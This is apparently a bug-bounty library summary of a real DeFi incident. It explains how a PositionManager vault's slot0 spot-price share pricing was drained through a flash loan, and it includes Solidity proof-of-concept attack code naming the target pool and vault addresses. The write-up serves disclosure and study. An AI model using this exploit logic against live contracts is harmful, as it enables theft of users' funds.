# PositionManager: spot-price share mispricing drains vault via flash loan

PositionManager valued its USDT holdings at manipulable PancakeSwap V3 spot price, letting an attacker crash the spot, mint inflated shares, and drain 32,080 USDT.

- Payout: Real-world hack
- Severity: critical
- Program: PositionManager
- Analysis by: DeFiHackLabs
- Disclosed: 2026-09-30
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-09/PositionManager_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20260930-positionmanager
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained technique:source-review vuln:business-logic vuln:flash-loan vuln:oracle-manipulation vuln:share-inflation

**Target:** DeFi vault share pricing using PancakeSwap V3 slot0 spot oracle
**Root cause:** deposit() sizes minted shares by valuing the vault's existing USDT at the raw PancakeSwap V3 slot0 spot price (sqrtPriceX96^2) instead of a TWAP, while only the BTCB leg uses Chainlink. Crashing the USDT/BTCB spot understates the denominator, minting excess shares that withdraw() redeems pro-rata against the real position.
**Steps:**
1. Obtain ~9,000,010 USDT working capital (on-chain: 0-fee PancakeSwap Infinity Vault flash loan).
2. Swap 8,000,000 USDT -> BTCB in pool `0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4` (zeroForOne) to crash sqrtPriceX96 from 274452124608361913298767630 to 261748504334048619437859565.
3. Loop 24x: `VICTIM.deposit(1_000_000e18)` then `VICTIM.withdraw()` on `0x7cedB2e5d7791c7D46c5C9d35EaC4775bc887F00`.
4. Swap all BTCB back to USDT (reverse manipulation) to realize drained value.
5. Repay flash loan; keep surplus.
**How found:** Code review of verified PositionManager source: noticed deposit() is permissionless and computes share denominator using raw slot0 spot for the USDT leg while only BTCB uses Chainlink, and withdraw() has no delay/TWAP/deviation guard — a classic spot-oracle mispricing.
**Exploitation:** Single atomic tx: flash-borrow 9M USDT, dump 8M USDT into the V3 pool to depress spot, run 24 permissionless deposit/withdraw cycles minting inflated shares against the crashed spot and redeeming them for real pool value, then reverse the swap and repay. Attacker EOA nets 32,080.604282 USDT; pool loses 32,096.098596 USDT.
**Escalation:** Repeated 24 deposit/withdraw cycles to maximize extraction per manipulation; single atomic tx avoids price recovery between cycles.
**Insight:** When a vault mixes a sound oracle (Chainlink) for one leg with raw AMM slot0 for another, the raw-spot leg is the attack surface: crash that leg to understate the share denominator, then redeem inflated shares in the same tx.

## Proof of concept (copied exactly from the original report)

**Attack contract crashing spot then deposit/withdraw loop**

```
function attack() external {
        // Step 1: crash the pool's spot price. token0 = USDT, token1 = BTCB, so zeroForOne dumps USDT for
        // BTCB and pushes sqrtPriceX96 down -> the vault's USDT reads cheap when deposit() values it.
        POOL.swap(address(this), true, int256(MANIPULATION_USDT), MIN_SQRT_RATIO + 1, "");

        // Step 2: 24 permissionless deposit->withdraw cycles. Each deposit mints inflated shares against the
        // depressed spot price; each withdraw redeems them pro-rata against the real position for more value.
        USDT.approve(address(VICTIM), type(uint256).max);
        for (uint256 i = 0; i < CYCLES; i++) {
            VICTIM.deposit(DEPOSIT_AMOUNT);
            VICTIM.withdraw();
        }

        // Step 3: reverse the manipulation - sell all BTCB back to USDT, realizing the drained value.
        uint256 btcbBal = BTCB.balanceOf(address(this));
        if (btcbBal > 0) {
            POOL.swap(address(this), false, int256(btcbBal), MAX_SQRT_RATIO - 1, "");
        }
    }
```

**Foundry test invoking exploit with flash capital**

```
function testExploit() public {
        emit log_named_decimal_uint("pool USDT reserve before", USDT.balanceOf(POOL), 18);
        emit log_named_decimal_uint("pool BTCB reserve before", BTCB.balanceOf(POOL), 18);

        PositionManagerExploit exploit = new PositionManagerExploit();

        // Provide the flash-loan working capital (repaid implicitly: profit is measured net of it below).
        deal(address(USDT), address(exploit), FLASH_CAPITAL);
        assertEq(BTCB.balanceOf(address(exploit)), 0, "attacker should start with no BTCB");

        exploit.attack();
```

